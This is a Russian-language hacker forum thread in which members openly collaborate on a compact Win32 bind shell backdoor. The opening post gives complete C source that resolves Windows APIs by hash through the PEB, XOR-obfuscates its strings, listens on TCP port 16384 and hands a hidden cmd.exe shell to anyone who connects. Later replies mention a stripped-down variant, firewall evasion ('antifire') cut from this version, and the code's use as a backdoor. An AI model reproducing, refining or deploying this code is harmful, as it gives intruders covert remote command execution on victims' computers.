![]() |
Начнем опенсорс - биндшелл (Win32)
Как стартовый вариант предлагаю нижеприведенный код. 2 кила на выходе ;) замечания и предложения сыпем сюда)
// // Advanced build config // #pragma comment(linker,"/MERGE:.rdata=.text") #pragma comment(linker,"/SECTION:.text,EWRX") #pragma comment(linker, "/NODEFAULTLIB") #pragma comment(linker, "/ENTRY:startcode") // // Includes // #include <winsock2.h> // // Definitions // #ifdef FD_ISSET #undef FD_ISSET #define FD_ISSET(fd, set) pTable->api.WsWSAFDIsSet((SOCKET)(fd), (fd_set FAR *)(set)) #endif #define MAX_MODULENAME_SIZE 128 #define MAX_FUNCNAME_SIZE 128 #define MAX_STRING_SIZE 256 #define MAX_CONNECTIONS 255 #define RVATOVA(base,offset) ((LPVOID)((DWORD)(base)+(DWORD)(offset))) // // Structures // #pragma pack (1) typedef struct _APITABLE { struct _API{ // address table for various api functions // // kernel32 imports... // BOOL (__stdcall* KeCloseHandle)(HANDLE); BOOL (__stdcall* KeCreatePipe)(PHANDLE,PHANDLE,LPSECURITY_ATTRIBUTE S,DWORD); BOOL (__stdcall* KeCreateProcess)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIBU TES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTST R,LPSTARTUPINFO,LPPROCESS_INFORMATION); HANDLE (__stdcall* KeCreateThread)(LPSECURITY_ATTRIBUTES,SIZE_T,LPTHR EAD_START_ROUTINE,LPVOID,DWORD,LPDWORD); HMODULE (__stdcall* KeLoadLibrary)(LPCTSTR); BOOL (__stdcall* KePeekNamedPipe)(HANDLE,LPVOID,DWORD,LPDWORD,LPDWO RD,LPDWORD); BOOL (__stdcall* KeReadFile)(HANDLE,LPVOID,DWORD,LPDWORD,LPOVERLAPP ED); VOID (__stdcall* KeSleep)(DWORD); BOOL (__stdcall* KeTerminateProcess)(HANDLE,DWORD); DWORD (__stdcall* KeWaitForSingleObject)(HANDLE,DWORD); BOOL (__stdcall* KeWriteFile)(HANDLE,LPCVOID,DWORD,LPDWORD,LPOVERLA PPED); HGLOBAL (__stdcall* KeGlobalAlloc)(UINT,SIZE_T); HGLOBAL (__stdcall* KeGlobalFree)(HGLOBAL); // // ws2_32 imports... // int (__stdcall* WsWSAStartup)(WORD,LPWSADATA); SOCKET (__stdcall* Wssocket)(int,int,int); int (__stdcall* Wsbind)(SOCKET,struct SOCK_ADDR*,int); int (__stdcall* Wslisten)(SOCKET,int); SOCKET (__stdcall* Wsaccept)(SOCKET,struct SOCK_ADDR*,int FAR*); u_short (__stdcall* Wshtons)(u_short); int (__stdcall* Wsselect)(int,fd_set*,fd_set*,fd_set*,const struct timeval*); int (__stdcall* Wsioctlsocket)(SOCKET,long,u_long*); int (__stdcall* Wssend)(SOCKET,const char FAR*,int,int); int (__stdcall* Wsrecv)(SOCKET,char FAR*,int,int); int (__stdcall* Wsclosesocket)(SOCKET); int (__stdcall* WsWSAFDIsSet)(SOCKET, fd_set FAR *); }api; struct _HMODS{ HMODULE hKernel32; HMODULE hWs2_32; }hmods; SOCKET g_server; SOCKET client; }APITABLE; #pragma pack () // // System routines // // (dont touch a stack) DWORD __fastcall CalcHash(char *str) { DWORD hash = 0; char* copystr = str; while(*copystr) { hash = ((hash << 7) & (DWORD)(-1))|(hash >> (32-7)); hash = hash ^ (*copystr); copystr++; } return hash; } // (dont touch a stack) LPVOID __fastcall NameHashLoad(HMODULE hModule, DWORD lpProcNameHash) { PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER) ((char*)hModule + ((PIMAGE_DOS_HEADER)hModule)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER)); PIMAGE_EXPORT_DIRECTORY ped = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(hModule, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress); int nOrdinal; if (HIWORD((DWORD)lpProcNameHash) == 0) nOrdinal = (LOWORD((DWORD)lpProcNameHash)) - ped->Base; else { DWORD *pdwNamePtr = (DWORD*)RVATOVA(hModule, ped->AddressOfNames); WORD *pwOrdinalPtr = (WORD*)RVATOVA(hModule, ped->AddressOfNameOrdinals); for (DWORD i = 0; i < ped->NumberOfNames; i++, pdwNamePtr++, pwOrdinalPtr++){ if (CalcHash((char*)RVATOVA(hModule, *pdwNamePtr)) == lpProcNameHash){ nOrdinal = *pwOrdinalPtr; break; } } if (i == ped->NumberOfNames) return 0; } DWORD *pAddrTable = (DWORD*)RVATOVA(hModule, ped->AddressOfFunctions); DWORD dwRVA = pAddrTable[nOrdinal]; DWORD ret = (DWORD)RVATOVA(hModule, dwRVA); return (LPVOID)ret; } // (dont touch a stack) void __fastcall fxmemset(void* dst, char with, unsigned int len) { for(unsigned int i=0; i<len;i++) *((char*)dst+i)=with; } // // interaction thread for each established connection // DWORD __stdcall WorkerThread(LPVOID lpParam) { APITABLE *pTable = (APITABLE*)lpParam; SOCKET sock = pTable->client; char s_proc[] = "\x46\x48\x41\x00"; // decode string: for(int a=0; a<3; a++) s_proc[a] ^= 0x25; SECURITY_ATTRIBUTES sa; sa.bInheritHandle = TRUE; sa.lpSecurityDescriptor = NULL; sa.nLength = sizeof(SECURITY_ATTRIBUTES); // Create Pipe for server input <- network recv HANDLE hServerInputPipe, hNetworkRecvPipe; if(pTable->api.KeCreatePipe(&hServerInputPipe, &hNetworkRecvPipe, &sa, 0)==0) { pTable->api.Wsclosesocket(sock); return 0; } // Create Pipe for server output -> network send HANDLE hServerOutputPipe, hNetworkSendPipe; if(pTable->api.KeCreatePipe(&hNetworkSendPipe, &hServerOutputPipe, &sa, 0)==0) { pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.Wsclosesocket(sock); return 0; } // Start Application PROCESS_INFORMATION pi; STARTUPINFO si; fxmemset(&si, 0, sizeof(STARTUPINFO)); si.cb = sizeof(STARTUPINFO); si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW | STARTF_FORCEOFFFEEDBACK; si.wShowWindow = SW_HIDE; si.hStdError = hServerOutputPipe; si.hStdInput = hServerInputPipe; si.hStdOutput = hServerOutputPipe; if(pTable->api.KeCreateProcess(NULL, s_proc, NULL, NULL, TRUE, CREATE_SEPARATE_WOW_VDM, NULL, NULL, &si, &pi)==0) { pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.Wsclosesocket(sock); return 0; } DWORD dwBytes; int nLen; fd_set rfds; while(TRUE) { // Check network socket pTable->api.KeSleep(20); FD_ZERO(&rfds); FD_SET(sock, &rfds); TIMEVAL tm; tm.tv_sec=0; tm.tv_usec=0; if(pTable->api.Wsselect(0, &rfds, NULL, NULL, &tm) > 0) { if(FD_ISSET(sock, &rfds)) { pTable->api.Wsioctlsocket(sock, FIONREAD, (u_long*)&nLen); if(nLen <= 0) { pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.Wsclosesocket(sock); return 0; } char *buffer = (char *)pTable->api.KeGlobalAlloc(GPTR, nLen); if(buffer != NULL) { nLen = pTable->api.Wsrecv(sock, buffer, nLen, 0); if(nLen > 0 && nLen < WSABASEERR){ pTable->api.KeWriteFile(hNetworkRecvPipe, buffer, nLen, &dwBytes, NULL); }else{ pTable->api.KeGlobalFree(buffer); break; } pTable->api.KeGlobalFree(buffer); } } } // Check handle pTable->api.KePeekNamedPipe(hNetworkSendPipe, NULL, 0, NULL, (LPDWORD)&nLen, NULL); if(nLen > 0) { char *buffer =(char *)pTable->api.KeGlobalAlloc(GPTR, nLen); if(buffer!=NULL) { pTable->api.KeReadFile(hNetworkSendPipe, buffer, nLen, &dwBytes, NULL); pTable->api.Wssend(sock, buffer, dwBytes, 0); pTable->api.KeGlobalFree(buffer); } } // Check for death if(pTable->api.KeWaitForSingleObject(pi.hProcess, 0) != WAIT_TIMEOUT) break; } pTable->api.KeCloseHandle(hNetworkSendPipe); pTable->api.KeCloseHandle(hServerOutputPipe); pTable->api.KeCloseHandle(hNetworkRecvPipe); pTable->api.KeCloseHandle(hServerInputPipe); pTable->api.Wsclosesocket(sock); pTable->api.KeTerminateProcess(pi.hProcess, 0); return 0; } DWORD __stdcall ServerThread(LPVOID lpParam) { SOCKET s; APITABLE *pTable = (APITABLE*)lpParam; while(TRUE) { // its in ma style :)) pTable->api.KeSleep(20); s = pTable->api.Wsaccept(pTable->g_server, NULL, NULL); if(s != INVALID_SOCKET) { DWORD tid; HANDLE hThread; // spawn worker thread and wait until it ends pTable->client = s; hThread = pTable->api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkerThread, pTable, 0, &tid); pTable->api.KeWaitForSingleObject(hThread, INFINITE); } } return 0; } // // ENTRY POINT // int __stdcall startcode() { APITABLE atMain; WSADATA wsd; char ws_name[] = "\x32\x36\x77\x1a\x76\x77\x6b\x21\x29\x29"; // // init the api table // // 1) init kernel32's stuff... __asm { mov eax, dword ptr fs:[30h] mov eax, dword ptr [eax+0ch] mov esi, dword ptr [eax+1ch] lodsd mov eax, dword ptr [eax+08h] mov atMain.hmods.hKernel32, eax } atMain.api.KeCloseHandle = (BOOL(__stdcall*)(HANDLE))NameHashLoad(atMain.hmod s.hKernel32, 0x723EB0D5); atMain.api.KeCreatePipe = (BOOL(__stdcall*)(PHANDLE,PHANDLE,LPSECURITY_ATTRI BUTES,DWORD))NameHashLoad(atMain.hmods.hKernel32, 0xA8D1FFE2); atMain.api.KeCreateProcess = (BOOL(__stdcall*)(LPCTSTR,LPTSTR,LPSECURITY_ATTRIB UTES,LPSECURITY_ATTRIBUTES,BOOL,DWORD,LPVOID,LPCTS TR,LPSTARTUPINFO,LPPROCESS_INFORMATION))NameHashLo ad(atMain.hmods.hKernel32, 0x46318AC7); atMain.api.KeCreateThread = (HANDLE(__stdcall*)(LPSECURITY_ATTRIBUTES,SIZE_T,L PTHREAD_START_ROUTINE,LPVOID,DWORD,LPDWORD))NameHa shLoad(atMain.hmods.hKernel32, 0x6FB89AF0); atMain.api.KeLoadLibrary = (HMODULE(__stdcall*)(LPCTSTR))NameHashLoad(atMain. hmods.hKernel32, 0xC8AC8026); atMain.api.KePeekNamedPipe = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPDW ORD,LPDWORD))NameHashLoad(atMain.hmods.hKernel32, 0x81D5763E); atMain.api.KeReadFile = (BOOL(__stdcall*)(HANDLE,LPVOID,DWORD,LPDWORD,LPOV ERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x487FE16B); atMain.api.KeSleep = (void(__stdcall*)(DWORD))NameHashLoad(atMain.hmods .hKernel32, 0x3D9972F5); atMain.api.KeTerminateProcess = (BOOL(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMai n.hmods.hKernel32, 0x9E6FA842); atMain.api.KeWaitForSingleObject = (DWORD(__stdcall*)(HANDLE,DWORD))NameHashLoad(atMa in.hmods.hKernel32, 0xC54374F3); atMain.api.KeWriteFile = (BOOL(__stdcall*)(HANDLE,LPCVOID,DWORD,LPDWORD,LPO VERLAPPED))NameHashLoad(atMain.hmods.hKernel32, 0x0F3FD1C3); atMain.api.KeGlobalAlloc = (HGLOBAL(__stdcall*)(UINT,SIZE_T))NameHashLoad(atM ain.hmods.hKernel32, 0x725EA171); atMain.api.KeGlobalFree = (HGLOBAL(__stdcall*)(HGLOBAL))NameHashLoad(atMain. hmods.hKernel32, 0x240339C8); // 2) init ws2_32's stuff... for(int i=0; i<10; i++) ws_name[i]^=0x45; atMain.hmods.hWs2_32 = atMain.api.KeLoadLibrary(ws_name); atMain.api.WsWSAStartup = (int(__stdcall*)(WORD,LPWSADATA))NameHashLoad(atMa in.hmods.hWs2_32, 0xCDDE757D); atMain.api.Wssocket = (SOCKET(__stdcall*)(int,int,int))NameHashLoad(atMa in.hmods.hWs2_32, 0xFC7AF16A); atMain.api.Wsbind = (int(__stdcall*)(SOCKET,struct SOCK_ADDR*,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0C5A7764); atMain.api.Wslisten = (int(__stdcall*)(SOCKET,int))NameHashLoad(atMain.h mods.hWs2_32, 0x9E7D3188); atMain.api.Wsaccept = (SOCKET(__stdcall*)(SOCKET,struct SOCK_ADDR*,int FAR*))NameHashLoad(atMain.hmods.hWs2_32, 0x3C797B7A); atMain.api.Wshtons = (u_short(__stdcall*)(u_short))NameHashLoad(atMain. hmods.hWs2_32, 0x8E9BF775); atMain.api.Wsselect = (int(__stdcall*)(int,fd_set*,fd_set*,fd_set*,const struct timeval*))NameHashLoad(atMain.hmods.hWs2_32,0x5D99 726A); atMain.api.Wsioctlsocket = (int(__stdcall*)(SOCKET,long,u_long*))NameHashLoad (atMain.hmods.hWs2_32, 0x1F935B1D); atMain.api.Wssend = (int(__stdcall*)(SOCKET,const char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E797764); atMain.api.Wsrecv = (int(__stdcall*)(SOCKET,char FAR*,int,int))NameHashLoad(atMain.hmods.hWs2_32, 0x0E5971F6); atMain.api.Wsclosesocket = (int(__stdcall*)(SOCKET))NameHashLoad(atMain.hmods .hWs2_32, 0x939D7D9C); atMain.api.WsWSAFDIsSet = (int(__stdcall*)(SOCKET, fd_set FAR *))NameHashLoad(atMain.hmods.hWs2_32, 0x4DFC1F3B); // // letz run it...:) // if(atMain.api.WsWSAStartup(0x202, &wsd)!=0) return 0; SOCKADDR_IN saddr; fxmemset(&saddr, 0, sizeof(SOCKADDR_IN)); saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = 0; saddr.sin_port = atMain.api.Wshtons(16384); atMain.g_server = atMain.api.Wssocket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if(atMain.g_server == INVALID_SOCKET) return 0; if(atMain.api.Wsbind(atMain.g_server, (SOCK_ADDR *)&saddr, sizeof(SOCKADDR_IN))==SOCKET_ERROR) { atMain.api.Wsclosesocket(atMain.g_server); return 0; } if(atMain.api.Wslisten(atMain.g_server, MAX_CONNECTIONS)!=0){ atMain.api.Wsclosesocket(atMain.g_server); return 0; } // // run server thread // DWORD dwid; HANDLE hSvrThread; hSvrThread = atMain.api.KeCreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ServerThread, &atMain, 0, &dwid); // // enter the idle loop // atMain.api.KeWaitForSingleObject(hSvrThread, INFINITE); return 0; } [/CODE] |
Цитата:
|
в этой версии антифайр вырезан тк хотел добиться стабильности кода без имортов и возможной его оптимизации. как говорится, одна голова хорошо, а две - еще лучше. будем думать)
|
Цитата:
|
Я честно пытался понять, в чем фишка, но не осилил )))
На мой взгляд - слишком сложно для такого бекдура. |
Цитата:
|
Мини бинд:)
Код:
#include <winsock2.h>запуск идет так bind.exe port пример: bind.exe 4567 |
Цитата:
ай молодец, чет я туплю последнее время)) кстати можно импорты снести - ща замучу) да и один минус - реконнекта уже не будет( |
Цитата:
итак а если у юзверя не стоит Framework'a??? правильно! Облом =( |
Какой еще нафиг обом ..все компилиться и без нее.. lcc-win32 попробуй..весит херню..
Да и тем более если сильно надо могу бинарник выложить.. |
| Время: 04:17 |